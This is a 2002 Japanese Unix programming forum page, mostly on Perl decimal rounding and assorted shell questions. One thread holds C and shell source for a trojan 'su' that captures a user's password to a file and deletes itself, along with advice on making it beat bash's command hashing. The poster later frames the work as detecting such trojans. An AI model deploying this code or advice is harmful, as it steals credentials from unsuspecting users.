68user's page 掲示板

Prev< No. 2941〜2967> Next  [最新発言に戻る] [過去ログ一覧]
No. 2941 # 68user 2002/11/21 (木) 17:14:28
>>2937 ふくし
勘定系ってやっぱり BCD だったりするんだろうかと思いつつ、
こういうときの常套手段を知らないので、しばし傍観。

>>2938 初心者
csh -fv .cshrc しましょう。あるいは、1行ずつ手でタイプ
(あるいはマウスでコピペ) しましょう。どこに問題があるのか
わかります。

No. 2942 # ふくし [E-mail] 2002/11/21 (木) 17:30:37
>>2940 名無し
さん、ありがとうございます。

sprintf は四捨五入なんですね。
ということはあらかじめ 0.005 を引いておけばよい?
−−−−−−−−−−プログラム−−−−−−−−−−−−−−>8
#! perl

while (<DATA>) {
                chomp;
                $tanka = $_; # ドル
                print "tanka = $tanka ";
                $tanka -= 0.005; # 切り捨てたいから
                $kosuu = 1; # 個
                $uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍
                $uriage = $uriage100 / 100;
                $uriage = sprintf "%.2f", $uriage;
                print "uriage = $uriage\n";
}
−−−−−−−−−−プログラム終わり−−−−−−−−−−−>8
実行結果。
> keisan
tanka = 10000.88 uriage = 10000.88
tanka = 10000.881 uriage = 10000.88
tanka = 10000.882 uriage = 10000.88
tanka = 10000.883 uriage = 10000.88
tanka = 10000.884 uriage = 10000.88
tanka = 10000.885 uriage = 10000.88
tanka = 10000.886 uriage = 10000.88
tanka = 10000.887 uriage = 10000.88
tanka = 10000.888 uriage = 10000.88
tanka = 10000.889 uriage = 10000.88

なんかできてるっぽい、、?

__DATA__
10000.88
10000.881
10000.882
10000.883
10000.884
10000.885
10000.886
10000.887
10000.888
10000.889

No. 2943 # 68user 2002/11/21 (木) 17:38:02
>>2942 ふくし
これなんかどうでしょうね。
http://www.harukaze.net/~mishima/perl/faq/newbiefaqpgm.html#5

> $uriage = $uriage100 / 100;
最後に 100 で割るのがなんかおそろしいなぁ。

値によっては循環小数になったりしないのかな。循環小数になっても
%.2f してるから OK?

No. 2944 # ふくし 2002/11/21 (木) 17:49:16
すいません、お騒がせしております ;;;
100 で掛けたり、割ったりしているのは、
int を使いたかったからで、
sprintf を使っている以上、必要ないですね。

(切り捨ての場合)
while (<DATA>) {
                chomp;
                $tanka = $_; # ドル

                print "tanka = $tanka ";

                $tanka -= 0.005; # 切り捨てたいから
                $kosuu = 1; # 個

                $uriage = sprintf "%.2f", $tanka * $kosuu;

                print "uriage = $uriage\n";
}

四捨五入の場合は 0.005 を引くのをやめるとか。

No. 2945 # ふくし 2002/11/21 (木) 18:32:31
だめでした ;;;
sprintf "%.2f", $a;
に、$a に 10000.005 を渡すと、10000.00 になります。
(環境に依存しまくるかな。FreeBSD 2.2.8_Release、Perl 5.005_03)

しょうがないので . で split して、、いろいろしようと思います ;;;

ちなみに 68User さん、BCD というのはモジュールありますか?
CPAN で検索したら EBCDIC_convert なんとかというのしか
見つかりませんでした ;;;

No. 2946 # ふくし 2002/11/21 (木) 19:18:10
一人で駄投稿を繰り返して大変申し訳ありません。
けっきょく 100 倍して 0.5 を足して 100 で割る形式に戻し、
変数をすべて Math::BigFloat にしました。
なんとなくできているような気がしますが、
これぐらいの時間帯になってくると
「いったい何ができてるってことなのか」わからなくなってくるので ;;;
明日また考えます。X68000 さん、名無しさん、ありがとうございました。
何かありましたらよろしくお願いします。

No. 2947 # ふくし 2002/11/22 (金) 00:32:45
家に帰って思ったけど dc コマンドを `` で囲んでもよかったかも ;;;

No. 2948 # hsj 2002/11/22 (金) 19:58:19
>>2947 ふくし
もう解決してらっしゃる様ですが、最初のソースの
$uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍

$uriage100 = $tanka * $kosuu * 100 + 0.05; # 売上の 100 倍
みたいにして、端数の発生しない桁(この例なら0.01セントの桁)で
適当な数字を足してやると良いんじゃないでしょうか。
端数の発生しない桁が決められない場合はダメですが・・・。
#ぱっとみて思いついただけなんで全然的外れかもしれません

No. 2949 # tak 2002/11/24 (日) 00:25:59
はじめまして。FreeBSD4.6.2-RELEASEとXFree86 4.2をインストールして、XDMからログインしようとしているのですが、rootではログインできるのですが、一般ユーザだとログインできたと思ってもすぐにもとのログイン画面に戻ってしまいます。.xsessionは作っていないので記述ミスはないと思うのですが、なぜ一般ユーザだとログインできないのか分かりません。どなたか対処法を知っている方がいましたら教えていただきたいのですが。
よろしくお願いします。

No. 2950 # tak 2002/11/25 (月) 23:02:58
解決しました。

No. 2951 # 68user 2002/11/26 (火) 00:22:14
>>2945 ふくし
> ちなみに 68User さん、BCD というのはモジュールありますか?
binary decimal で検索したら、これがひっかかりました。
      http://search.cpan.org/author/JPEACOCK/Math-FixedPrecision-0.21/FixedPrecision.pm

No. 2952 # kiki 2002/11/26 (火) 19:27:25
>68userさん,お返事が送れて申し訳ありません.kikiです

>> 2.PATH変更,トロイ置場を先に検索するようにする.
>> ができているなら、後は /usr/bin/su を起動すればいいだけ
>> だと思います。そこで PATH が出てくる理由がよくわかりません。

たしかにcshなどのシェルはsuトロイが動いた後にsuコマンド
を打ち込むと,本物のsuが問題なく立ち上がるのですが,

bashの場合,suトロイが動いた後にsuコマンドを打ち込むと,
bash:/suトロイ置場/suトロイ:そのようなファイルやディレクトリはない

といわれてしまいました.
suトロイは消えていたので,本物のsuを探しに行ってくれるはずな
のですが,どうやら本物のsuを探しにいってくれないようなのです.
もちろんPATHは本物のsuにも通っています.そこで,
suトロイの中でPATHを変更しようと思ったのです.

こちらも理由を考えていたのですがわかりません.
バージョンは bash-2.04-1v14です.
何か,こころあたりがございましたら,
御教授願います.よろしくお願いします.

No. 2953 # 68user 2002/11/28 (木) 02:09:57
>>2952 kiki
具体的に何をやっているのかが全く見えないです。遠回しな
書き方をしないでスクリプトを提示するなりしてください。

なお、FreeBSD 4.7-RELEASE+bash-2.05.0(1)-release では
成功しました (意図通りの挙動かどうかはわかりませんが)。

bash-2.05$ PATH=.:$PATH
bash-2.05$ cat su
#!/bin/sh
echo -n "(Trojan su)Password: "
stty -echo
read a
stty echo
echo ""
echo "Sorry (Your password [$a] is captured!)"
mv su su.bak
bash-2.05$ type su
su is hashed (./su)
bash-2.05$ su
(Trojan su)Password:
Sorry (Your password [hoge] is captured!)
bash-2.05$ which su
/usr/bin/su
bash-2.05$ su
Password:
Sorry

No. 2954 # kiki 2002/11/28 (木) 02:58:00
>>68user様
お返事ありがとうございます.kikiです.
申し訳ありません.トロイのソースを書き込ませていただきます.
cで書かれたトロイを使っています.
トロイの置き場所は /home/koko/.oite です.

#include <stdio.h>
#include <stdlib.h>
#define SU_PASS "/tmp/.rewt"

main (int argc, char *argv[])
{
          char *key;
          char buf[40];
          FILE *fd;
          
          key = (char *)getpass ("Password:");
          fd = fopen(SU_PASS,"w");
          fprintf(fd, "pass: %s\n", key);
          fclose(fd);
          printf ("su: incorrect password\n");
          sprintf(buf, "rm /home/koko/.oite/%s", argv[0]);
          system(buf);
          exit (1);
}

よろしくお願いします.
こちらでも引続き原因を調べてみます.

No. 2955 # 68user 2002/11/28 (木) 03:23:12
>>2954 kiki
つまりやってることは
>>2953 68user
のスクリプトと同じなわけで、こちらで実行すると 2回目の su で
/usr/bin/su を実行してくれました。

ということは bash が原因なわけで、ハッシュテーブルを再構築
しない設定になっているのでは、などを疑うべきなんでしょうけど、
bash は使ってないのでよくわかりません (勝手にハッシュテーブル
再構築してくれるんじゃないのかな?)。そこらへん何か設定がある
んでしたっけ。

あとは bash の最新版を入れてみるとか。

No. 2956 # 68user 2002/11/28 (木) 07:52:05
>>2954 kiki
bash-2.03.0(1)-release と bash-2.05a.0(1)-release でやって
みましたが、どうやら
    PATH=.:$PATH
だと OK (/usr/bin/su が実行される) ですが
    PATH=/foo/bar:$PATH
と絶対パスで設定すると /foo/bar/su が hash に残っているようですね。

マニュアルを読む限りでは bash の仕様のような気がしますし、相対
パスのコマンドが hashing されていた場合は (カレントディレクトリが
移動しているかもしれないので) 再度 PATH を検索する、というのは
納得のいく挙動です。

# でも、もしかしたら bash のバグかもしれません。

解決策としては
    % shopt -s checkhash
があげられるでしょうけど、これだと操作者の協力が必要なので、トロイの
su を作るという目的を第一に考えるのであれば、

    1. PATH=../../../../../../../../../../../../home/foo/bar:$PATH とする。
          カレントディレクトリの階層があまりに深くなければ、これでいける。
    2. トロイ版 su の中で /usr/bin/su を exec する

といったところでしょうが、普通は 2 のような気がします
(作ったことないのでわからんけど)。

No. 2957 # ふくし [E-mail] 2002/11/28 (木) 16:12:20
みなさん、計算の問題でフォローアップありがとうございます。
とりあえず Math::BigFloat で快適です。
3471943.48 および 3471943.488 という数を 0 と比較すると
おかしいという現象があって一瞬ひやっとしましたけど、
5.005003 ではバグってるけど 5.6.0 では直ってるようでした。

■ソース
#! perl
use Math::BigFloat;

while (<DATA>) {
        chomp;
        $num = Math::BigFloat->new($_);

        if ($num >= 0) {
                print "$num is larger-equal than 0\n";
        } else {
                print "$num is not larger-equal than 0\n";
        }

        $cmp = $num->fcmp("0");
        print "compare $num vs 0: $cmp\n";
}

__DATA__
3471943.488
3471943.48
3

■5.005003 での実行結果
3471943.488 is not larger-equal than 0
compare 3471943.488 vs 0: -1
3471943.48 is larger-equal than 0
compare 3471943.48 vs 0: -1
3. is larger-equal than 0
compare 3. vs 0: 1

■5.6.0 での実行結果
3471943.488 is larger-equal than 0
compare 3471943.488 vs 0: 1
3471943.48 is larger-equal than 0
compare 3471943.48 vs 0: 1
3. is larger-equal than 0
compare 3. vs 0: 1

No. 2958 # kiki 2002/11/29 (金) 17:50:58
>>2956 68user様
またお返事が送れて申し訳ありません.kikiです.

お返事ありがとうございます.早速ためしてみます.
この質問を通じて,いろいろ知らないこともわかったので
その点でもとても勉強になりました.
ありがとうございました.

No. 2959 # KENT1 2002/11/30 (土) 23:50:22
初めてになりますが、質問がありますので、お力添えをお願いします。
プログラムの実行時間を計るために、timeコマンドがありますが、このときに出力される結果を、指定したファイルに書き込む方法はないでしょうか?
リダイレクトを使って、
time 実行するコマンド > ファイル名
としても、ファイルに結果が出力されませんでした。プログラムの実行時間を書き込むための良いアドバイスをお願いします。

No. 2960 # 68user 2002/12/02 (月) 08:58:04
>>2959 KENT1
お使いの OS とシェルを必ず書いてください…と言うのも疲れたので、
てきとーに試してみてください。
    /usr/bin/time ls >& file
    /usr/bin/time ls >file 2>&1
    env TERM= csh -c "time ls" > file
    env TERM= bash -c "time ls" > file

No. 2961 # 1202 2002/12/02 (月) 14:50:39
初めまして。初心者なので質問自体が意味不明かもしれませんが、
システムコールでCPU使用量や、ディスク使用量などを取得する方法を教えてください。dfコマンドなどで取得すると、Linux、Solarisで取得できる情報が違ってくるので、、、ちなみに使用言語はC、OSはLinuxでお願いします。

No. 2962 # 68user 2002/12/02 (月) 15:20:34
>>2961 1202
> ディスク使用量
statfs(2), fstatfs(2)

> CPU使用量
プロセス単位の情報かシステムの情報を取るのかわかりませんが、
Linux ならどちらにせよ /proc 直読みなのかな? あるいは /proc を
読むような API が用意されているかもしれませんが、わかりません。

後は man -k stat、man -k cpu、man -k disk などを活用してください。

No. 2963 # 1202 2002/12/02 (月) 15:47:40
>>2962 68user
ありがとうございます。
早速試してみます。

No. 2964 # kiki 2002/12/02 (月) 20:25:54
kikiと申します.
68user様,先日はお世話になりました.

お聞きしたいことがあります.

私は今,シェルでpsコマンドを打ち込んだら
標準出力で"psコマンドがうちこまれました."
と出力させるプログラムを作ろうとしています.

この時に,シェルからpsコマンドが打ち込まれたかどうかを
判定するプログラムに,シェルで打ち込まれたコマンドを渡して
判定させたいのですが,このような事は,プロセス間通信や
デーモンを使うのでしょうか?

皆様のアドバイスをよろしくお願い致します.

また,簡単なデーモンのソースがあるページや,
デーモンを作るにあたってやくだつページを
ご存知でしたら教えてください.

よろしくお願いします.

No. 2965 # 68user 2002/12/03 (火) 01:16:24
>>2964 kiki
前にも書きましたが目的は何ですか? kiki さんの質問は
いつも情報量が足りないと思います。

目的を書かないから前提条件がわからない。前提条件が
わからないから、例えば
    「利用者にばれてもいいのか」
    「シェルのソースをいじるというのはアリなのか」
などもわからない (当然その答えによって解は異なります)。

> また,簡単なデーモンのソースがあるページ
http://www.adl.nii.ac.jp/~moro/unix-programmer/faq-j_2.html#SEC16 など。

>>2961 1202
> dfコマンドなどで取得すると、Linux、Solarisで取得できる情報が
> 違ってくるので、、、
ちなみに僕ならば面倒なので GNU df を Solaris に
入れます (仕事であれば特に)。

No. 2966 # kiki 2002/12/03 (火) 02:32:54
2965>>68user様

毎回すみません.

目的は前回の質問でふれたsuトロイの痕跡の検出なんです.
suトロイも本物のsuも.bash_historyのなかにコマンドが残りますが,
/var/log/messageでは,本物のsuの痕跡しか残らない事を利用して,
suトロイをリアルタイムに近い形で検出できないか?と考えたのです.

そこで,シェルからsuコマンドが打ち込まれたかどうかを
判定するプログラムに,シェルで打ち込まれたコマンドを渡して
判定させ,suとコマンドが 実行されているようならば,
/var/log/messageをみて,suの痕跡があるかどうかを調べれば
検出できるだろうと考えたのです.

とりあえずsuコマンドが打ち込まれたかどうかを判定する
部分をまず作ろうと思いましたが,この時にプロセス間で
データのやりとりが必要になったり,デーモンも使うのかな
と思い,質問させていただきました.

「利用者にばれてもいいのか」
    >はい,ばらせる事ができるならば是非そうしたいです.

「シェルのソースをいじるというのはアリなのか」
    >はい,ありです.

毎回わかりづらい書き込みをして申し訳ありません.
ご教授をお願い致します.

No. 2967 # 68user 2002/12/03 (火) 13:04:01
>>2966 kiki
今度は検出なわけですね?

> /var/log/messageでは,本物のsuの痕跡しか残らない事を利用して,
syslog(3) や logger(1) を使えば誰でも su と同様にログに記録する
ことはできますので、これだけでは正確に判断できません。

では他に判断する方法はあるかというと、決定的なものはないです。
結局は「何をもって本物と判断するか」「何を持って悪意のあるプロ
グラムと判断するか」に帰着するわけで。興味があればアンチウィルス
ソフトがウィルスを検出する手段を調べてみるとよいでしょう。

で、それとは別に「どうやって su がタイプされたことを検出するか」という
話ですが、ウィルスやトロイの木馬にやられるときというのは、つまるところ
「プログラムを実行したとき」なわけで、exec(2) の実行直前に su を実行
しようとしているかどうか、というチェックをすればよいでしょう。

プロセス間通信やデーモンは「なぜそれを使う必要があるか」を説明でき
ないなら、使う必要はないということです。


別の解としては、システムコールの発行を hook して安全性をチェック、
というのもありますが、UNIX でこういうのってできるのかなーと思って
調べてみたら、なんかできるようですね。
      http://www.caj.co.jp/support/etrustac_faq.htm
      Q6: eTrust Access ControlのSoft Hook技術とは何ですか?
カーネルを置き換えているのか、あるいは libc のシステムコール発行部分を
置き換えているのか…(できるのかな?)

# Windows なら SetWindowsHookEx で簡単なんですけど。

Prev< No. 2941〜2967> Next  [最新発言に戻る] [過去ログ一覧]